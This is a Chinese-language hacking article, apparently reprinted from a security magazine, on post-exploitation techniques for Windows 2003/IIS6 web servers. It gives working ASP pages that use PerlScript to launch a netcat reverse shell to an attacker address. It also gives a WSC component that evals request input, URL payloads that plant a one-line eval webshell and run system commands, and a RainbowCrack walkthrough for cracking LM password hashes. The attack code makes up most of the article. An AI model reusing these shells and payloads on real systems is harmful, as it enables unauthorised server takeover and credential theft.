续谈Hacking中的小技巧
作者:NP
本文已发于 非安全
作者:NetPatch
继11期和12期的两篇介绍Hacking中的小命令的后,在LCX大哥的淫威下,偶只能继续科普生涯了。长话短说,我们直接进入正题。
以下内容测试环境均为2K3+IIS6
一.Perl、python环境的利用!
话说Perl环境,除了服务器支持PL这个扩展映射外,我们一般无法使用Perl去做一些想做的事情。比如,当旁注进入服务器,却因服务器执行不了命令而原地踏步,无法继续向最高权限前进。特别是现在国内的虚拟机,大部分都是如此,让小菜们很是头疼。所以今天NP就来讲讲被一般人忽视的Perl环境。首先,Perl环境,可以让我们利用的,是环境变量和目录的权限疏忽,这个可以参考我07年10期写的《谈环境变量在Hacking中的利用》!其次,也是被一般人遗忘的技巧,虽然服务器不支持PL扩展映射,但是安装ActivePerl后默认支持perlscript,于是我们用perlscript写ASP文件,在ASP里用Perlscript的内部函数来执行命令,或者做些Perlscript能做的事情。但是权限任然是ASP的来宾权限,具体权限分配以及原理可以参考08年12期我写的《小谈WIN系统Hacking中的小命令》
我们来举例说明下。
<%@Language=PerlScript%>
#@Language=PerlScript 这句表明这一页的ASP脚本所使用的脚本语言为Perlscript
#由于是Perl,所以注释是用井号
<%
system("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443");
#用system函数执行命令
#exec("e://wwwroot//cmd.exe /c e://wwwroot//nc.exe -e cmd.exe -v 192.168.8.100 443");
#用exec函数执行命令
%>
将上面的代码保存为perl.asp,本地NC监听443,执行后,我们的NC会接到目标机器反弹回来的SHELL。如图1所示
换成EXEC也一样,不过我们就不多说明了,举一反三,其他的就留给读者自己去做试验咯。
Python环境也一样。当服务器装有activepython时,我们就可以用@Language定义本页脚本解析语言来切换成Python!
范例:
<%@LANGUAGE="python" CODEPAGE="936"%>
<%
import os
import os.path
rootdir = "e://wwwroot//"
for parent, dirnames, filenames in os.walk(rootdir):
#case 1:
for dirname in dirnames:
Response.Write("parent is:"+parent+"<br>")
Response.Write("dirname is:"+dirname+"<br>")
#case 2
for filename in filenames:
#Response.Write("parent is:"+parent+"<br>")
Response.Write("filename with full path :"+os.path.join(parent, filename)+"<br>")
%>
运行结果如图2
当然你也可以发挥DIY精神,改造一个好用的基于asp的Perl或者Python的Webshell。这边我就不献丑了,留个读者当复习作业咯。
这边唯一要提示的是,Python对中文支持不是很好,写代码的时候尽量使用英文。
NP在测试时有一想法,不知道在支持perlscript和python服务器上,是否可以利用这两脚本语言的SOCK函数去做些什么事情呢?YY中…
二、WSC “Windows 脚本部件”的巧用。
对于WSC,可能大多数的人,都会感到很陌生!我也是通过LCX大哥的介绍才开始认识这个强大的东东。Windows 脚本部件为您提供了用脚本创建功能强大、可复用的 COM 部件的简便方式。您可以使用任何支持 Microsoft ActiveX Scripting 接口的脚本语言来创建脚本部件。支持这些接口的脚本语言有: JScript、 Microsoft Visual Basic Scripting Edition (VBScript)、PERLScript、PScript 和 Python。
这次我们也不多介绍,就介绍asp调用WSC,用Vbscript和Perlscript,其他的就让读者自己慢慢研究吧
WSC文件内容如下:
<?XML version="1.0"?>
<package>
<Component>
<registration ProgId=lcxNB />
<public>
<property name=lcxNNB />
<method name=run>
<parameter name=str />
</method>
</public>
<script language=vbscript runat=server>
function run(str)
run=eval(str)
end function
</script>
</Component>
</package>
或许你对这些不大明白,我们来看下微软给的帮助吧。
<component> 和 <package> 元素 <component> 元素包含的是一个完整的脚本部件定义。在同一个 .wsc 文件中可以出现多个 <component> 元素,但这些元素应包含在一个 <package> 元素内。
<registration> 元素 包括用来将脚本部件注册为 COM 部件的信息。如果宿主应用程序 (如 Microsoft Internet Explorer 5.0)在创建该脚本部件的实例时没有直接使用 Windows 注册表,则该元素不是必需的。
<public> 元素 包含脚本部件所说明的属性、方法和事件的定义。这些定义指向定义在独立的 <script> 块中的变量或函数。
<implements> 元素 给脚本部件指定 COM 接口处理程序,这将确定该脚本部件属于哪种 COM 部件类型。例如,通过指定 <implements type=ASP>,就可以实现 ASP 接口处理程序,并因此在脚本部件中可以访问 ASP 对象模型。
<public> 元素即指定了脚本部件将实现 COM Automation 接口处理程序。因此,对 Automation 处理程序无需创建 <implements> 元素。
注意 脚本部件运行库包括用于 Automation (使用 <public> 元素说明的)、用于 ASP 以及用于 Internet Explorer 5.0 DHTML Behavior 的接口处理程序。其他接口处理程序可以作为外部 DLL 获得。关于附加的接口处理程序和脚本部件的详细信息,请参阅 Microsoft Scripting Technologies Web 站点。
<script> 元素 包含用来实现脚本部件逻辑的脚本,这取决于所创建的 COM 部件类型。例如,如果要创建的是 COM Automation 部件,则可以在 <public> 元素中声明属性、方法和事件,然后用一个或多个 <script> 元素编写脚本来定义这些内容。
我们自己编写的话,经常会写错,不过可爱的微软推出了专门生成WSC部件代码的工具Windows Script Component Wizard,我们只要根据提示输入数据即可。
使用方法看图3、4、5、6、7、8
我们可以将WSC文件随便改名,然后在ASP里指定就可以了。
我们再来看下我们调用的ASP文件内容
<%GetObject("script:" Server.MapPath("b.jpg")).run(request(chr(36)))%> 2k和2k3都可以使用
<%GetObject("script:").run(request(chr(36)))%> 只能2K下使用,2K3不支持远程调用
WSC.asp?$=CreateObject("Scripting.FileSystemObject").opentextfile("e:\wwwroot\new_webshell.asp",8,true).WriteLine("<%25eval(request(chr(36)))%25>")
访问上面给出的地址,就可以往e:\wwwroot\目录写入一句话webshell
WSC.asp?$=CreateObject(“WScript.Shell”).run(“e:\wwwroot\cmd.exe /c net user>e:\wwwroot\cmd.txt”)
用此以上URL访问,就可以用Wscript.sehll执行命令
由于我们是调用VBSCRIPT,所以都是以VBSCRIPT的环境来执行的,也就是说,不支持ASP里的response request server.mappath等函数,参数传递是个问题。
我们再来看看perlscript
<?xml version="1.0"?>
<component>
<registration progid="SimpleASP.WSC"/>
<public>
<method name="Test"/>
</public>
<implements type="ASP"/>
<script language="PerlScript">
<![CDATA[
sub Test {
exec("e:\\wwwroot\\cmd.exe /c e:\\wwwroot\\nc.exe -e cmd.exe -v 192.168.8.100 443");
}
]]>
</script>
</component>
唯一不同的是,我们用language指定了脚本解析语言为PerlScript(再强调下,需要服务器支持Perlscript)
当我们把下面代码保存为ASP文件,并访问时,即可获得一个反弹SHELL。
<%GetObject(“script:” Server.MapPath(“SimpleASP.WSC”)).Test%>
三、RainBowCrack的使用
相信不少朋友进入目标服务器后都曾为管理员密码的事伤过脑筋吧。又是GINA又是HASH的。往常,很多人采用GINA记录管理员登陆密码以达到继续渗透的目的,或者用LC5破解LM Hash,但是LC5是采用普通的暴力破解,所以耗时费力,效率太低。早在一年半前我就开始享受RainBowCrack带来的效率。现在国内也开始慢慢普及用Rainbowcrack了。
RainbowCrack是一款国人开发的密码破译工具,它的设计思路基于快速时间——内存平衡技术(Time-Memory Trade-Off Technique),简单来说就是它在进行密文解密时不是逐条来进行解密操作的,而是在解密前先生成一份完整的明文到密文的对照表,再一次批量对密文进行解密。RainbowCrack代表了目前解密技术的一个新的发展方向,它的诞生也使得广泛使用的MD5算法和Windows的LM算法生成的密文在极短的时间内得到破译,而且破译的成功率也达到了破纪录的水平。
虽然rainbowcrack用彩虹表跑密码的速度很快,但是创建彩虹表可能要花费数小时、数天甚至好几个月的时间。还好网络上早有组织在从事彩虹表的制作。如比较出名的www.freerainbowtables.com,很多的网络自愿者,自己利用电脑空余时间或空余的系统资源去生成字典,并上传到服务器。我们可以从网络上下载到一些免费的彩虹表.
RainbowCrack的最新版本为1.2,但它不支持多线程操作!这个工具可以在地址http://www.antsight.com/zsl/rainbowcrack/下载。RainbowCrack包含了下述实用程序:
rtgen.exe——彩虹表生成器,生成口令、散列值对照表。
rtsort.exe——排序彩虹表,为rcrack.exe提供输入。
rcrack.exe——使用排好序的彩虹表进行口令破解。
rtdump.exe——彩虹表转储
我们首先来看下 彩虹表生成器 rtgen.exe 的使用
rtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
rainbow_chain_length rainbow_chain_count \
file_title_suffixrtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
-bench
具体参数详情 如图9所示
彩虹表生成器的命令行示例
rtgen lm numeric 1 7 0 100 16 lmhash
lm 为我们要的散列算法(Windows口令的散列方法)
numeric 为明文所用的字符集
1 为明文的最小长度
7 为明文的最大长度
0 为彩虹表的索引
100 为彩虹链长度
16 为要生成的彩虹链的个数
Lmhash 为添加到文件标题后面的字符串,用于书写彩虹表的注释
当彩虹表生成后,为了加快彩虹表的查找速度,我们需要使用彩虹表排序程序(rtsort.exe)进行排序!
rtsort的命令很简单,参数就是彩虹表文件名
rtsort rainbow_table_pathname
经过几分钟的排序后,我们就可以用生成的字典去跑密码了
rcrack *.rt -f hashes.txt
把Hash放到hashes.txt文本中,这样我们可以跑批量的hash散列!
效果如图10所示
总结来说,这些技术其实在网络上以及早有出没,只不过,相对在国内相对比较少罢了。只有想不到,没有做不到。只要加以改造,就可以让这些技术成为 Hacking中的又一利器!同时也告诫管理员朋友,需要注意的事项。并不是禁止了WSH、SA等组建就不能执行命令的!也并不是服务器不支持PL等扩展映射就没办法使用的。
HASH散列随着时间和技术的发展也不是遥不可及的!技术和物理条件,缩短了我们爆破的时间,提高了Hacking的效率!